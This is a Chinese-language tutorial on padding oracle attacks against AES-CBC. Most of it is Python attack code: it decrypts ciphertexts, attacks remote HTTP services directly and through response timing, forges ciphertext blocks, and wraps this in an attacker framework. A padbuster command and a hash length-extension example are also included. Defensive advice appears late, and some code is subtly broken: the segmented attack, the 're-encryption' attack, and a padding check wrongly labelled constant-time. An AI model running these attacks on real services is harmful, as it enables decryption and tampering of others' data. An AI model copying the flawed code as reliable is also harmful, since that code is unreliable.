031_密码学实战：填充预言攻击技术深度解析——从PKCS#7原理到CBC解密的完整指南

填充预言攻击工作流程:
收集信息 → 块解密 → 逐字节分析 → 明文恢复

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import os
import base64

def create_padding_oracle():
    """创建一个填充预言"""
    # 生成随机密钥
    key = os.urandom(16)  # AES-128密钥
    
    def padding_oracle(ciphertext):
        """填充预言函数
        
        Args:
            ciphertext: 十六进制格式的密文字符串或字节
        
        Returns:
            bool: 如果填充有效返回True，否则返回False
        """
        # 确保输入是字节
        if isinstance(ciphertext, str):
            ciphertext = bytes.fromhex(ciphertext)
        
        try:
            # 解密（假设使用CBC模式）
            iv = ciphertext[:16]  # 前16字节作为IV
            encrypted_data = ciphertext[16:]  # 剩余部分为加密数据
            
            cipher = AES.new(key, AES.MODE_CBC, iv)
            decrypted = cipher.decrypt(encrypted_data)
            
            # 尝试移除填充，如果填充无效会引发异常
            unpad(decrypted, AES.block_size)
            return True
        except Exception:
            return False
    
    def encrypt(plaintext):
        """用于生成测试密文的函数"""
        iv = os.urandom(16)
        cipher = AES.new(key, AES.MODE_CBC, iv)
        padded_data = pad(plaintext.encode() if isinstance(plaintext, str) else plaintext, AES.block_size)
        ciphertext = iv + cipher.encrypt(padded_data)
        return ciphertext.hex()
    
    return padding_oracle, encrypt

# 创建填充预言和加密函数
padding_oracle, encrypt = create_padding_oracle()

# 生成测试数据
test_plaintext = "This is a secret message for padding oracle attack demonstration."
test_ciphertext = encrypt(test_plaintext)
print(f"测试明文: {test_plaintext}")
print(f"测试密文: {test_ciphertext}")

def padding_oracle_attack(padding_oracle, ciphertext_hex, block_size=16):
    """填充预言攻击实现
    
    Args:
        padding_oracle: 填充预言函数，接受密文并返回填充是否有效
        ciphertext_hex: 十六进制格式的密文
        block_size: 块大小，默认为16字节（AES）
    
    Returns:
        str: 解密后的明文
    """
    # 将十六进制密文转换为字节
    ciphertext = bytes.fromhex(ciphertext_hex)
    
    # 检查密文长度是否为块大小的整数倍
    if len(ciphertext) % block_size != 0:
        raise ValueError("密文长度必须是块大小的整数倍")
    
    # 分割密文为块
    blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
    
    # 解密后的明文
    plaintext = b""
    
    # 从第二个块开始，对每个块进行解密
    for i in range(1, len(blocks)):
        current_block = blocks[i]  # 要解密的块
        previous_block = blocks[i-1]  # 前一个块（将被修改）
        
        # 解密后的中间值 (D_K(C_i))
        intermediate = bytearray([0] * block_size)
        
        # 解密后的明文块
        decrypted_block = bytearray([0] * block_size)
        
        # 逐字节解密
        for j in range(1, block_size + 1):
            # 当前要猜测的位置
            position = block_size - j
            
            # 构造修改后的前一个块
            modified_block = bytearray(previous_block)
            
            # 设置已知的填充字节
            for k in range(1, j):
                # 修改前面已经确定的字节，使其产生正确的填充
                modified_block[block_size - k] ^= intermediate[block_size - k] ^ j
            
            # 尝试所有可能的字节值
            found = False
            for guess in range(256):
                # 修改当前猜测位置的字节
                modified_block[position] = previous_block[position] ^ guess
                
                # 构造测试密文
                test_ciphertext = bytes(modified_block) + current_block
                
                # 询问填充预言
                if padding_oracle(test_ciphertext.hex()):
                    # 验证是否真的找到了正确的值（避免假阳性）
                    # 修改一个不会影响填充的字节，再次测试
                    if position > 0:
                        temp_block = bytearray(modified_block)
                        temp_block[position - 1] ^= 1  # 翻转一个位
                        temp_ciphertext = bytes(temp_block) + current_block
                        if padding_oracle(temp_ciphertext.hex()):
                            # 确认找到正确的值
                            intermediate[position] = guess ^ j
                            decrypted_block[position] = intermediate[position] ^ previous_block[position]
                            found = True
                            break
                    else:
                        # 对于最后一个字节，不需要额外验证
                        intermediate[position] = guess ^ j
                        decrypted_block[position] = intermediate[position] ^ previous_block[position]
                        found = True
                        break
            
            if not found:
                raise ValueError(f"无法解密字节 {position}")
        
        # 将解密的块添加到明文中
        plaintext += bytes(decrypted_block)
    
    # 移除PKCS#7填充（假设填充有效）
    try:
        plaintext = unpad(plaintext, block_size)
    except:
        pass  # 如果填充不正确，保留原始解密结果
    
    # 尝试将明文解码为字符串
    try:
        return plaintext.decode('utf-8')
    except:
        return plaintext.hex()  # 如果不是有效UTF-8，返回十六进制

def optimized_padding_oracle_attack(padding_oracle, ciphertext_hex, block_size=16):
    """优化的填充预言攻击实现
    
    改进包括:
    - 更好的错误处理
    - 并行尝试（如果预言支持）
    - 更有效的字节猜测策略
    """
    ciphertext = bytes.fromhex(ciphertext_hex)
    
    if len(ciphertext) < 2 * block_size:
        raise ValueError("密文至少需要包含两个块（IV + 一个数据块）")
    
    blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
    plaintext = b""
    
    # 对每个块进行解密
    for block_index in range(1, len(blocks)):
        current_block = blocks[block_index]
        previous_block = blocks[block_index - 1]
        
        # 解密的中间值
        intermediate = bytearray(block_size)
        decrypted_block = bytearray(block_size)
        
        # 逐字节解密
        for pad_length in range(1, block_size + 1):
            pos = block_size - pad_length
            
            # 构造修改后的前一个块
            modified_prev = bytearray(previous_block)
            
            # 更新已破解的字节，确保正确的填充
            for j in range(block_size - pad_length + 1, block_size):
                modified_prev[j] ^= intermediate[j] ^ pad_length
            
            # 优先尝试常见字符，提高效率
            common_chars = [0x20, 0x61, 0x65, 0x69, 0x6f, 0x75, 0x0a, 0x0d]  # 空格、元音字母、换行符
            possible_bytes = common_chars + [b for b in range(256) if b not in common_chars]
            
            found = False
            for guess in possible_bytes:
                modified_prev[pos] = previous_block[pos] ^ guess
                test_cipher = bytes(modified_prev) + current_block
                
                if padding_oracle(test_cipher.hex()):
                    # 验证结果
                    if pad_length > 1:
                        # 临时修改一个已经确定的字节来验证
                        temp = bytearray(modified_prev)
                        temp[pos + 1] ^= 1  # 翻转一个位
                        test_temp = bytes(temp) + current_block
                        if not padding_oracle(test_temp.hex()):
                            continue  # 假阳性，继续尝试
                    
                    # 找到正确的值
                    intermediate[pos] = guess ^ pad_length
                    decrypted_block[pos] = intermediate[pos] ^ previous_block[pos]
                    found = True
                    break
            
            if not found:
                print(f"警告: 第 {block_index} 块的第 {pos} 个字节解密失败，可能需要手动检查")
        
        plaintext += bytes(decrypted_block)
    
    # 移除填充并解码
    try:
        # 尝试标准的PKCS#7填充移除
        last_byte = plaintext[-1]
        if 1 <= last_byte <= block_size:
            if all(plaintext[-i] == last_byte for i in range(1, last_byte + 1)):
                plaintext = plaintext[:-last_byte]
        
        # 尝试解码为UTF-8，如果失败返回十六进制
        return plaintext.decode('utf-8', errors='replace')
    except Exception as e:
        print(f"解码错误: {e}")
        return plaintext.hex()

# 使用优化后的攻击
decrypted = optimized_padding_oracle_attack(padding_oracle, test_ciphertext)
print(f"解密结果: {decrypted}")

import requests
import time

def http_padding_oracle_attack(target_url, ciphertext_hex, block_size=16, headers=None):
    """对HTTP服务进行填充预言攻击
    
    Args:
        target_url: 目标服务URL
        ciphertext_hex: 十六进制格式的密文
        block_size: 块大小
        headers: HTTP请求头
    
    Returns:
        str: 解密后的明文
    """
    if headers is None:
        headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    
    def http_oracle(ciphertext):
        """HTTP填充预言
        
        发送请求并根据响应判断填充是否有效
        通常，填充错误会导致特定的HTTP状态码（如403）或错误消息
        """
        data = {'ciphertext': ciphertext}  # 根据实际API调整
        
        try:
            # 添加延迟避免请求过快被阻止
            time.sleep(0.1)
            response = requests.post(target_url, data=data, headers=headers, timeout=5)
            
            # 根据响应判断填充是否有效
            # 这里需要根据实际服务的行为进行调整
            # 例如，返回200表示填充有效，返回400表示填充无效
            return response.status_code == 200
        except Exception as e:
            print(f"请求错误: {e}")
            return False
    
    # 使用之前的攻击函数，但传入HTTP预言
    return optimized_padding_oracle_attack(http_oracle, ciphertext_hex, block_size)

# 假设我们已经有了与服务器交互的预言函数
def solve_padding_oracle_ctf(oracle, ciphertext_hex):
    """解决CTF中的填充预言题目"""
    print(f"开始解密，密文长度: {len(ciphertext_hex) // 2} 字节")
    
    # 实现基本攻击逻辑
    block_size = 16  # 假设使用AES
    ciphertext = bytes.fromhex(ciphertext_hex)
    blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
    
    plaintext = b""
    
    # 逐块解密
    for i in range(1, len(blocks)):
        print(f"解密块 {i}/{len(blocks)-1}")
        current_block = blocks[i]
        previous_block = blocks[i-1]
        
        decrypted = bytearray(block_size)
        intermediate = bytearray(block_size)
        
        # 逐字节解密
        for j in range(1, block_size + 1):
            pos = block_size - j
            print(f"  解密字节 {pos}/{block_size-1}")
            
            # 构造修改后的前一个块
            modified = bytearray(previous_block)
            
            # 设置已知字节的填充
            for k in range(pos + 1, block_size):
                modified[k] ^= intermediate[k] ^ j
            
            # 尝试所有可能的字节值
            for guess in range(256):
                modified[pos] = previous_block[pos] ^ guess
                test_cipher = bytes(modified) + current_block
                
                if oracle(test_cipher.hex()):
                    # 验证
                    if pos > 0:
                        temp = bytearray(modified)
                        temp[pos - 1] ^= 1
                        test_temp = bytes(temp) + current_block
                        if not oracle(test_temp.hex()):
                            continue
                    
                    # 找到正确的值
                    intermediate[pos] = guess ^ j
                    decrypted[pos] = intermediate[pos] ^ previous_block[pos]
                    print(f"    找到: {chr(decrypted[pos]) if 32 <= decrypted[pos] <= 126 else decrypted[pos]}")
                    break
        
        plaintext += bytes(decrypted)
    
    # 移除填充
    try:
        pad_length = plaintext[-1]
        if 1 <= pad_length <= block_size:
            plaintext = plaintext[:-pad_length]
    except:
        pass
    
    print("\n解密完成!")
    try:
        return plaintext.decode('utf-8')
    except:
        return plaintext.hex()

# 示例使用
# 实际CTF中，oracle函数会与服务器交互
result = solve_padding_oracle_ctf(padding_oracle, test_ciphertext)
print(f"解密结果: {result}")

def robust_padding_oracle_attack(noisy_oracle, ciphertext_hex, block_size=16, retry_count=3, confidence_threshold=0.6):
    """鲁棒的填充预言攻击，能够处理预言中的噪声
    
    Args:
        noisy_oracle: 可能返回错误结果的填充预言
        ciphertext_hex: 十六进制格式的密文
        retry_count: 每个猜测查询的次数
        confidence_threshold: 认为结果可信的阈值（0-1）
    """
    def robust_oracle(ciphertext):
        """通过多次查询来减少噪声影响"""
        results = [noisy_oracle(ciphertext) for _ in range(retry_count)]
        success_rate = sum(results) / retry_count
        return success_rate >= confidence_threshold
    
    ciphertext = bytes.fromhex(ciphertext_hex)
    blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
    plaintext = b""
    
    # 逐块解密，增加重试机制
    max_retries = 5
    
    for block_index in range(1, len(blocks)):
        retry = 0
        decrypted_block = None
        
        while retry < max_retries:
            try:
                print(f"解密块 {block_index}/{len(blocks)-1}, 尝试 {retry+1}/{max_retries}")
                
                current_block = blocks[block_index]
                previous_block = blocks[block_index-1]
                
                intermediate = bytearray(block_size)
                decrypted = bytearray(block_size)
                
                for j in range(1, block_size + 1):
                    pos = block_size - j
                    print(f"  解密字节位置 {pos}")
                    
                    modified_prev = bytearray(previous_block)
                    
                    # 设置已确定的填充字节
                    for k in range(pos + 1, block_size):
                        modified_prev[k] ^= intermediate[k] ^ j
                    
                    # 尝试所有可能值，使用鲁棒预言
                    found = False
                    for guess in range(256):
                        modified_prev[pos] = previous_block[pos] ^ guess
                        test_cipher = bytes(modified_prev) + current_block
                        
                        if robust_oracle(test_cipher.hex()):
                            # 二次验证
                            if pos > 0:
                                temp = bytearray(modified_prev)
                                temp[pos-1] ^= 1
                                if robust_oracle(bytes(temp) + current_block):
                                    intermediate[pos] = guess ^ j
                                    decrypted[pos] = intermediate[pos] ^ previous_block[pos]
                                    found = True
                                    break
                            else:
                                intermediate[pos] = guess ^ j
                                decrypted[pos] = intermediate[pos] ^ previous_block[pos]
                                found = True
                                break
                    
                    if not found:
                        raise Exception(f"字节位置 {pos} 解密失败")
                
                decrypted_block = bytes(decrypted)
                break  # 成功解密该块
                
            except Exception as e:
                print(f"错误: {e}, 重试...")
                retry += 1
        
        if decrypted_block is None:
            print(f"警告: 块 {block_index} 解密失败")
            decrypted_block = b'?' * block_size
        
        plaintext += decrypted_block
    
    # 移除填充并尝试解码
    try:
        pad_length = plaintext[-1]
        if 1 <= pad_length <= block_size:
            plaintext = plaintext[:-pad_length]
        return plaintext.decode('utf-8', errors='replace')
    except:
        return plaintext.hex()

def分段填充预言攻击(padding_oracle, ciphertext_hex, max_segment_size=64, block_size=16):
    """分段进行填充预言攻击，适用于有长度限制的场景
    
    Args:
        padding_oracle: 填充预言函数
        ciphertext_hex: 十六进制格式的密文
        max_segment_size: 每次处理的最大字节数
        block_size: 块大小
    """
    ciphertext = bytes.fromhex(ciphertext_hex)
    total_length = len(ciphertext)
    
    # 计算段数
    segments = []
    for i in range(0, total_length, max_segment_size):
        end = min(i + max_segment_size, total_length)
        # 确保每个段至少包含两个块，且结束位置是块大小的整数倍
        adjusted_end = min(((end // block_size) + (1 if end % block_size != 0 else 0)) * block_size, total_length)
        segments.append((i, adjusted_end))
    
    # 每个段的解密结果
    segment_results = {}
    
    # 首先解密最后一段，因为它不依赖于其他段
    # 然后从后往前解密其他段
    for seg_start, seg_end in reversed(segments):
        print(f"处理段: {seg_start}-{seg_end} ({seg_end - seg_start} 字节)")
        
        # 对于第一个段（原始密文的第一段），需要包含IV
        # 对于其他段，需要包含前一个块作为IV的替代品
        if seg_start == 0:
            segment_ciphertext = ciphertext[seg_start:seg_end]
        else:
            # 获取前一个块作为IV
            iv = ciphertext[seg_start - block_size:seg_start]
            segment_ciphertext = iv + ciphertext[seg_start:seg_end]
        
        # 解密这个段
        segment_plaintext = optimized_padding_oracle_attack(
            padding_oracle, 
            segment_ciphertext.hex(), 
            block_size
        )
        
        # 存储结果，注意调整偏移量
        if seg_start == 0:
            # 第一段包含IV，解密结果对应原始密文的第一个数据块开始
            segment_results[seg_start:block_size] = segment_plaintext[:block_size]
            segment_results[block_size:seg_end] = segment_plaintext[block_size:]
        else:
            # 其他段已经包含了前一个块作为IV，所以结果从block_size开始
            segment_results[seg_start:seg_end] = segment_plaintext[block_size:]
    
    # 合并所有段的结果
    plaintext = ""
    current_pos = block_size  # 跳过IV对应的部分
    
    while current_pos < total_length:
        # 找到包含当前位置的段
        for seg_range, seg_text in segment_results.items():
            if isinstance(seg_range, tuple) and seg_range[0] <= current_pos < seg_range[1]:
                # 计算在段中的偏移
                offset = current_pos - seg_range[0]
                # 添加相应的字符
                if offset < len(seg_text):
                    plaintext += seg_text[offset]
                else:
                    plaintext += '?'
                break
        
        current_pos += 1
    
    return plaintext

def timing_based_padding_oracle_attack(target_url, ciphertext_hex, block_size=16, sample_size=10):
    """基于响应时间的填充预言攻击
    
    Args:
        target_url: 目标服务URL
        ciphertext_hex: 十六进制格式的密文
        sample_size: 每个请求的采样次数
        block_size: 块大小
    """
    def timing_oracle(ciphertext):
        """基于响应时间的填充预言
        
        填充有效通常会导致更短的处理时间，因为不需要进行额外的错误处理
        """
        times = []
        
        for _ in range(sample_size):
            start_time = time.time()
            try:
                requests.post(target_url, data={'ciphertext': ciphertext}, timeout=5)
            except:
                pass  # 忽略异常，只关注时间
            end_time = time.time()
            times.append(end_time - start_time)
        
        # 返回平均响应时间
        return sum(times) / len(times)
    
    # 首先收集一些基准数据来确定时间阈值
    print("正在收集基准数据...")
    
    # 生成一些随机密文，大多数应该有无效填充
    baseline_times = []
    for _ in range(20):
        random_cipher = os.urandom(32).hex()  # 两个块
        baseline_times.append(timing_oracle(random_cipher))
    
    # 排序并分析时间分布
    baseline_times.sort()
    
    # 假设最快的10%可能是填充有效的情况
    threshold_idx = max(1, int(len(baseline_times) * 0.1))
    timing_threshold = baseline_times[threshold_idx]
    
    print(f"时间阈值设置为: {timing_threshold:.6f}秒")
    
    # 创建基于阈值的预言函数
    def threshold_oracle(ciphertext):
        avg_time = timing_oracle(ciphertext)
        # 响应时间小于阈值表示填充可能有效
        return avg_time < timing_threshold
    
    # 使用之前的攻击函数
    return optimized_padding_oracle_attack(threshold_oracle, ciphertext_hex, block_size)

def secure_padding_validation(data, block_size):
    """安全的填充验证实现
    
    特点：
    - 恒定时间操作
    - 无论填充是否有效，处理时间相同
    - 不提供详细的错误信息
    """
    if len(data) % block_size != 0:
        raise ValueError("数据长度必须是块大小的整数倍")
    
    # 获取填充长度
    padding_len = data[-1]
    
    # 检查填充长度是否在有效范围内
    if not (1 <= padding_len <= block_size):
        raise ValueError("无效的填充")
    
    # 验证所有填充字节是否一致（使用恒定时间比较）
    valid = True
    for i in range(1, padding_len + 1):
        if data[-i] != padding_len:
            valid = False
    
    if not valid:
        raise ValueError("无效的填充")
    
    # 返回移除填充后的数据
    return data[:-padding_len]

from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes

def encrypt_with_gcm(plaintext, key):
    """使用GCM模式加密
    
    GCM模式提供加密和认证，防止填充预言攻击
    """
    # 生成随机nonce
    nonce = get_random_bytes(12)  # 推荐的GCM nonce大小
    
    # 创建GCM模式的加密器
    cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
    
    # 加密并获取认证标签
    ciphertext, tag = cipher.encrypt_and_digest(plaintext)
    
    # 返回nonce、密文和标签
    return nonce + ciphertext + tag

def decrypt_with_gcm(ciphertext_with_nonce_and_tag, key):
    """使用GCM模式解密
    
    在解密前验证认证标签，确保数据完整性
    """
    # 提取nonce、密文和标签
    nonce = ciphertext_with_nonce_and_tag[:12]
    ciphertext = ciphertext_with_nonce_and_tag[12:-16]
    tag = ciphertext_with_nonce_and_tag[-16:]
    
    # 创建GCM模式的解密器
    cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
    
    try:
        # 解密并验证标签
        plaintext = cipher.decrypt_and_verify(ciphertext, tag)
        return plaintext
    except ValueError:
        # 认证失败，数据可能被篡改
        raise ValueError("解密失败：认证标签无效")

def secure_decrypt_handler(ciphertext, key):
    """安全的解密处理函数
    
    统一错误处理，避免信息泄露
    """
    start_time = time.time()
    
    try:
        # 执行解密操作
        # ...解密代码...
        result = "解密成功"
        success = True
    except Exception as e:
        # 记录详细错误
        print(f"解密错误: {str(e)}")
        result = "解密失败"
        success = False
    
    # 确保处理时间至少为某个最小值，防止时间攻击
    elapsed = time.time() - start_time
    if elapsed < 0.1:  # 100毫秒
        time.sleep(0.1 - elapsed)
    
    # 返回统一的错误信息
    if not success:
        return {"status": "error", "message": "操作失败，请重试"}
    
    return {"status": "success", "data": result}

防御填充预言攻击策略:
统一错误处理 → 恒定时间操作 → 认证加密模式 → 安全实现审计

def block_replacement_attack(padding_oracle, ciphertext_hex, target_block, replacement_data, block_size=16):
    """块替换攻击
    
    利用填充预言修改特定块的明文，而无需知道整个密钥
    """
    ciphertext = bytes.fromhex(ciphertext_hex)
    blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
    
    if target_block >= len(blocks) - 1:
        raise ValueError("目标块索引无效")
    
    # 确保替换数据大小正确
    if len(replacement_data) > block_size:
        replacement_data = replacement_data[:block_size]
    elif len(replacement_data) < block_size:
        replacement_data = replacement_data + b'\x00' * (block_size - len(replacement_data))
    
    # 获取目标块和前一个块
    prev_block = bytearray(blocks[target_block])
    target_cipher_block = blocks[target_block + 1]
    
    # 构造修改后的前一个块，使解密后的明文等于替换数据
    # 原理: 要使 P' = replacement_data，需要 C'_prev = D_K(C_target) ^ replacement_data
    # 而我们可以通过中间值 I = D_K(C_target) 计算得到
    
    # 首先解密目标块的中间值
    intermediate = bytearray([0] * block_size)
    
    # 使用填充预言攻击获取中间值
    for j in range(1, block_size + 1):
        pos = block_size - j
        modified_prev = bytearray(prev_block)
        
        for k in range(pos + 1, block_size):
            modified_prev[k] ^= intermediate[k] ^ j
        
        for guess in range(256):
            modified_prev[pos] = prev_block[pos] ^ guess
            test_cipher = bytes(modified_prev) + target_cipher_block
            
            if padding_oracle(test_cipher.hex()):
                intermediate[pos] = guess ^ j
                break
    
    # 构造新的前一个块，使解密后的明文等于替换数据
    new_prev_block = bytearray([intermediate[i] ^ replacement_data[i] for i in range(block_size)])
    
    # 创建修改后的密文
    new_blocks = blocks.copy()
    new_blocks[target_block] = bytes(new_prev_block)
    
    # 重建完整密文
    modified_ciphertext = b''.join(new_blocks)
    
    return modified_ciphertext.hex()

def re_encryption_attack(padding_oracle, known_ciphertext_hex, plaintext_to_encrypt, block_size=16):
    """重加密攻击
    
    将任意明文加密为看起来合法的密文，利用已知密文和填充预言
    """
    known_ciphertext = bytes.fromhex(known_ciphertext_hex)
    known_blocks = [known_ciphertext[i:i+block_size] for i in range(0, len(known_ciphertext), block_size)]
    
    # 确保已知密文至少有两个块
    if len(known_blocks) < 2:
        raise ValueError("需要至少两个块的已知密文")
    
    # 填充要加密的明文
    padded_plaintext = pad(plaintext_to_encrypt.encode(), block_size)
    plaintext_blocks = [padded_plaintext[i:i+block_size] for i in range(0, len(padded_plaintext), block_size)]
    
    # 使用最后一个已知密文块作为第一个加密块的IV
    result_blocks = [known_blocks[-1]]
    
    # 对于每个明文块，构造对应的密文块
    for plaintext_block in plaintext_blocks:
        # 随机生成一个候选密文块
        candidate_block = os.urandom(block_size)
        
        # 需要找到一个密文块 C，使得解密后与前一个块异或得到明文
        # 即: P = D_K(C) ^ C_prev → D_K(C) = P ^ C_prev
        
        # 我们需要构造一个前一个块 C'_prev，使得解密 C 时填充有效
        # 这相当于求解: D_K(C) ^ C'_prev 有有效的填充
        # 代入 D_K(C) 的表达式: (P ^ C_prev) ^ C'_prev 有有效的填充
        
        C_prev = result_blocks[-1]
        desired_intermediate = bytes([plaintext_block[i] ^ C_prev[i] for i in range(block_size)])
        
        # 使用填充预言找到有效的 C'_prev
        found = False
        for i in range(256):  # 简化示例，实际可能需要更复杂的搜索
            # 随机尝试不同的 C'_prev
            C_prev_prime = os.urandom(block_size)
            
            # 构造测试密文
            test_cipher = C_prev_prime + candidate_block
            
            if padding_oracle(test_cipher.hex()):
                # 验证是否真的是我们需要的中间值
                # 这部分逻辑在实际实现中需要更复杂的验证
                result_blocks.append(candidate_block)
                found = True
                break
        
        if not found:
            raise Exception("无法找到有效的密文块")
    
    # 组合结果
    result_ciphertext = b''.join(result_blocks)
    return result_ciphertext.hex()

def memory_leak_analysis(sample_responses):
    """分析响应中的内存泄漏模式
    
    寻找响应中可能泄露的内存信息，这些信息可能揭示填充状态
    """
    patterns = {}
    
    # 分析响应中的模式
    for response in sample_responses:
        # 查找可能的内存碎片或错误信息模式
        error_patterns = re.findall(r'(heap|stack|memory|buffer|overflow).*?(\d+)', response, re.IGNORECASE)
        
        for pattern, num in error_patterns:
            key = f"{pattern}_{num}"
            patterns[key] = patterns.get(key, 0) + 1
    
    # 返回最常见的模式，可能指示填充错误
    if patterns:
        return sorted(patterns.items(), key=lambda x: x[1], reverse=True)
    return []

def power_analysis(power_traces, ciphertexts):
    """分析功耗轨迹以识别填充验证模式
    
    Args:
        power_traces: 每个密文对应的功耗轨迹
        ciphertexts: 对应的密文列表
    
    Returns:
        list: 可能具有有效填充的密文索引
    """
    # 标准化功耗轨迹
    normalized_traces = []
    for trace in power_traces:
        mean = np.mean(trace)
        std = np.std(trace)
        normalized = (trace - mean) / std
        normalized_traces.append(normalized)
    
    # 计算相关性
    results = []
    for i, trace in enumerate(normalized_traces):
        # 寻找可能指示填充检查通过的特征
        # 例如，填充检查通过时可能有特定的功耗下降
        late_power = np.mean(trace[-100:])
        results.append((i, late_power))
    
    # 排序并返回可能有效的填充
    results.sort(key=lambda x: x[1])
    return [idx for idx, _ in results[:5]]  # 返回前5个可能有效的

class PaddingOracleAttacker:
    """填充预言攻击自动化框架"""
    
    def __init__(self, oracle, block_size=16):
        """初始化攻击框架
        
        Args:
            oracle: 填充预言函数
            block_size: 块大小
        """
        self.oracle = oracle
        self.block_size = block_size
        self.attack_history = []
    
    def decrypt(self, ciphertext_hex):
        """解密密文
        
        Args:
            ciphertext_hex: 十六进制格式的密文
        
        Returns:
            str: 解密后的明文
        """
        start_time = time.time()
        
        try:
            # 调用优化的攻击实现
            plaintext = optimized_padding_oracle_attack(
                self.oracle, 
                ciphertext_hex, 
                self.block_size
            )
            
            # 记录攻击结果
            self.attack_history.append({
                'timestamp': start_time,
                'ciphertext': ciphertext_hex,
                'plaintext': plaintext,
                'duration': time.time() - start_time,
                'success': True
            })
            
            return plaintext
        except Exception as e:
            self.attack_history.append({
                'timestamp': start_time,
                'ciphertext': ciphertext_hex,
                'error': str(e),
                'duration': time.time() - start_time,
                'success': False
            })
            raise
    
    def encrypt(self, plaintext, reference_ciphertext_hex):
        """加密任意明文（需要参考密文）
        
        Args:
            plaintext: 要加密的明文
            reference_ciphertext_hex: 参考密文（用于获取中间值）
        
        Returns:
            str: 十六进制格式的密文
        """
        # 实现基于参考密文的加密
        # 具体实现类似于重加密攻击
        pass
    
    def modify_block(self, ciphertext_hex, block_index, new_plaintext):
        """修改指定块的明文
        
        Args:
            ciphertext_hex: 原始密文
            block_index: 要修改的块索引
            new_plaintext: 新的明文内容
        
        Returns:
            str: 修改后的密文
        """
        return block_replacement_attack(
            self.oracle,
            ciphertext_hex,
            block_index,
            new_plaintext.encode() if isinstance(new_plaintext, str) else new_plaintext,
            self.block_size
        )
    
    def analyze_oracle(self, samples=100):
        """分析预言的特性，如响应时间、准确性等
        
        Args:
            samples: 采样数量
        
        Returns:
            dict: 分析结果
        """
        results = {
            'response_times': [],
            'error_rates': 0,
            'patterns': {}
        }
        
        # 生成随机样本并测试
        for i in range(samples):
            sample = os.urandom(self.block_size * 2).hex()
            start_time = time.time()
            try:
                result = self.oracle(sample)
                results['response_times'].append(time.time() - start_time)
                
                # 记录结果模式
                results['patterns'][result] = results['patterns'].get(result, 0) + 1
            except Exception:
                results['error_rates'] += 1
        
        results['error_rates'] /= samples
        results['avg_response_time'] = np.mean(results['response_times'])
        results['std_response_time'] = np.std(results['response_times'])
        
        return results

# 基本使用示例
padbuster http://example.com/encrypt.php "4321432143214321" 16 -encoding 0 -plaintext "Hello World"

import hashpumpy

# 使用示例
hash = "6d5f807e23db210bc236229b1444d96d"
original_data = "original"
add = "&admin=true"
key_length = 10

new_hash, new_data = hashpumpy.hashpump(hash, original_data, add, key_length)
print(f"New hash: {new_hash}")
print(f"New data: {new_data}")

# 安全的CBC模式使用示例
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad

def secure_encrypt(plaintext, key):
    """安全的CBC模式加密"""
    iv = get_random_bytes(AES.block_size)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    padded_data = pad(plaintext, AES.block_size)
    ciphertext = cipher.encrypt(padded_data)
    return iv + ciphertext  # 安全地包含IV

def secure_decrypt(ciphertext, key):
    """安全的CBC模式解密，使用统一错误处理"""
    try:
        iv = ciphertext[:AES.block_size]
        encrypted_data = ciphertext[AES.block_size:]
        
        cipher = AES.new(key, AES.MODE_CBC, iv)
        decrypted = cipher.decrypt(encrypted_data)
        
        # 使用库提供的填充验证
        return unpad(decrypted, AES.block_size)
    except Exception:
        # 统一错误处理，不泄露详细信息
        raise ValueError("解密失败")

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding

def modern_encrypt(plaintext, key):
    """使用现代库进行加密"""
    backend = default_backend()
    iv = os.urandom(16)
    
    # 设置填充
    padder = padding.PKCS7(128).padder()  # 128位 = 16字节
    padded_data = padder.update(plaintext) + padder.finalize()
    
    # 创建加密器
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=backend)
    encryptor = cipher.encryptor()
    
    # 加密
    ciphertext = encryptor.update(padded_data) + encryptor.finalize()
    
    return iv + ciphertext

def modern_decrypt(ciphertext, key):
    """使用现代库安全解密"""
    try:
        backend = default_backend()
        iv = ciphertext[:16]
        encrypted_data = ciphertext[16:]
        
        # 创建解密器
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=backend)
        decryptor = cipher.decryptor()
        
        # 解密
        padded_plaintext = decryptor.update(encrypted_data) + decryptor.finalize()
        
        # 移除填充
        unpadder = padding.PKCS7(128).unpadder()
        plaintext = unpadder.update(padded_plaintext) + unpadder.finalize()
        
        return plaintext
    except Exception:
        # 统一错误响应
        raise ValueError("解密失败")

学习路径建议:
理解基础 → 实现攻击 → 分析漏洞 → 应用防御 → 持续学习